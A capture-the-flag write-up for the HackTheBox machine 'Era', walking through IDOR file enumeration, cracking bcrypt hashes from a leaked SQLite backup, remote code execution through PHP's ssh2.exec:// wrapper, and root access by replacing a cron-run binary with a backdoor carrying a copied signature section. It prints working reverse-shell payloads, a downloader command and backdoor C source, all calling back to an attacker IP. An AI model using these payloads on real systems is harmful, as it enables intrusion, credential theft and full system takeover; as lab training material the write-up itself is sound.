HackTheBox: Era - Full Writeup
Difficulty: Medium OS: Linux Category: Web, Privilege Escalation Author: r007sec
Overview
Era is a Linux machine that chains together several interesting vulnerabilities. The path to root involves IDOR-based file enumeration, SQLite credential extraction, PHP stream wrapper abuse for RCE via ssh2.exec://, and finally a cron-based binary replacement attack that bypasses a custom AV signature check.
Reconnaissance
Target IP: 10.10.11.79
Starting with a full service scan:
nmap -sV -sC 10.10.11.79 -oN era_scan

The scan reveals two open ports: 21 (FTP) and 80 (HTTP).
Web Enumeration
The web application is a standard file hosting panel. Before diving into the UI, we run a virtual host enumeration to look for hidden subdomains:
gobuster vhost -u http://era.htb -w /usr/share/wordlists/dirb/common.txt --append-domain -t 100 --timeout 5s

This reveals file.era.htb. Add it to /etc/hosts and navigate to it. The subdomain hosts a separate file management interface.
Next, fuzz for hidden endpoints on the subdomain:
dirsearch -u file.era.htb

Found: /register.php
Getting a Foothold
User Registration and File Upload
Register an account at /register.php using any credentials. After logging in, the application allows file uploads. Upload a PHP reverse shell and note the session cookie:

PHPSESSID=8j7lgjsukj2fnlsq0beevmf9v0
IDOR via Sequential ID Fuzzing
The download endpoint uses a numeric id parameter with no authorization check. Generate a sequence and fuzz it:
seq 1 8000 > id.txt
ffuf -u 'http://file.era.htb/download.php?id=FUZZ' \
-w id.txt \
-H 'Cookie: PHPSESSID=8j7lgjsukj2fnlsq0beevmf9v0' \
-fw 3161

Three interesting responses come back at IDs 54, 150, and 1956:
54 is a site backup archive:
site-backup-30-08-24.zip150 is
signing.zip1956 is our uploaded reverse shell
Credential Extraction from SQLite
Download and extract the backup:

unzip site-backup-30-08-24.zip
Inside is a SQLite database file. Open it and extract credentials:
sqlite3 filedb.sqlite
.tables
.schema users
SELECT user_name || ':' || user_password FROM users;
This gives us bcrypt hashes for several users:

admin_ef01cab31aa:\(2y\)10$wDbohsUaezf74d3sMNRPi...
eric:\(2y\)10$S9EOSDqF1RzNUvyVj7OtJ...
veronica:\(2y\)10$xQmS7JL8UT4B3jAYK7js...
yuri:\(2b\)12$HkRKUdjjOdf2WuTXovkH...
john:\(2a\)10$iccCEz6.5.W2p7CSBOr3...
ethan:\(2a\)10$PkV/LAd07ftxVzBHhrpg...
Crack with John:

john --wordlist=/usr/share/wordlists/rockyou.txt hash
Results:
eric:america
yuri:mustang
FTP Access as Yuri
ftp yuri@era.htb
# password: mustang
Navigate the FTP directory and look inside php8.1_conf. You will find ssh2.so present, which is the compiled PHP SSH2 extension. This is a critical finding that we will exploit shortly.
PHP Stream Wrapper RCE (ssh2.exec://)
Vulnerability Analysis
Review the source code from the backup. The download.php file contains this logic:
\(format = isset(\)_GET['format']) ? $_GET['format'] : '';
if (strpos($format, '://') !== false) {
\(wrapper = \)format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
\(file_content = fopen(\)wrapper ? \(wrapper . \)file : $file, 'r');
The problem: The code checks only whether :// exists in the format parameter. It never validates which wrapper is being used. With ssh2.so loaded, the following wrappers are all available:
ssh2.shell://user:pass@host:22/xterm
ssh2.exec://user:pass@host:22/command
ssh2.sftp://user:pass@host:22/path
Since eric:america is a valid local account, we can use ssh2.exec:// to execute arbitrary commands as the web server process.
Security Questions Bypass
The application has a security_login.php page that compares security answers stored as plaintext in the database. Query them directly:
if (
\(answer1 === \)user_data['security_answer1'] &&
\(answer2 === \)user_data['security_answer2'] &&
\(answer3 === \)user_data['security_answer3']
) {
SELECT user_name, security_answer1, security_answer2, security_answer3 FROM users;
Use reset.php to reset Eric's security answers if needed, then authenticate through the security login to obtain erauser = 1 session privilege, which is required for the show=true code path.
Triggering the Reverse Shell
Set up a listener:
nc -lvnp 4444
Send the payload. The ; cat at the end absorbs any trailing output the application appends to the stream:
http://file.era.htb/download.php?id=1956&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27%28bash%20-i%20%3E%26/dev/tcp/10.10.14.174/4444%200%3E%261%29%3B%20cat%27

Shell received. We are inside as eric.
Privilege Escalation to Root
Process Monitoring with pspy64
Transfer pspy64 to the target and run it to watch for scheduled tasks:
wget http://10.10.14.174:8000/pspy64
chmod +x pspy64
./pspy64 &
After watching for a minute, a pattern emerges: root executes /opt/AV/periodic-checks/monitor every minute via /root/initiate_monitoring.sh.
Check permissions on the binary:
find / -user root -group devs -type f 2>/dev/null
The monitor binary is owned by root but group-writable by the devs group, which our current user belongs to. This is a textbook cron-based privilege escalation.
Bypassing the AV Signature Check
The binary contains a non-standard ELF section called .text_sig, which is a custom integrity signature. If the section is missing from a replacement binary, the AV wrapper will refuse to execute it.
The solution is to extract the signature from the legitimate binary and inject it into our backdoor:
Step 1: Write the backdoor source
echo '#include <stdlib.h>
int main() {
system("/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.174/8596 0>&1'\''");
return 0;
}' > /tmp/backdoor.c
Step 2: Compile statically
gcc -static -o /tmp/monitor_backdoor /tmp/backdoor.c
Step 3: Extract the original signature
objcopy --dump-section .text_sig=/tmp/sig /opt/AV/periodic-checks/monitor
Step 4: Inject the signature into the backdoor
objcopy --add-section .text_sig=/tmp/sig /tmp/monitor_backdoor
Step 5: Open a second listener
nc -lvnp 8596
Step 6: Replace the monitor binary
cp /tmp/monitor_backdoor /opt/AV/periodic-checks/monitor

Wait up to one minute. The cron job fires, executes your binary as root, and the reverse shell connects back.
Root obtained.
Key Takeaways
IDOR on download endpoint — Sequential numeric IDs with no authorization check exposed every file on the platform, including a database backup that contained all user credentials.
PHP stream wrapper injection — Validating for :// without whitelisting specific wrappers is not a security control. With ssh2.so loaded, an attacker can execute arbitrary commands via the ssh2.exec:// wrapper without touching the filesystem.
Plaintext security answers — Security questions that bypass password authentication are only as secure as their storage. Plaintext storage in a database that is already exposed via IDOR is a complete authentication bypass.
Cron binary replacement — A cron job running as root that executes a group-writable binary is a direct path to privilege escalation. The AV signature check was a clever defense, but objcopy allows extraction and reuse of the signature section, making it ineffective against a local attacker with write access.
Written by r007sec | CTFSecurity YouTube | Discord | blog.ctfsecurity.com
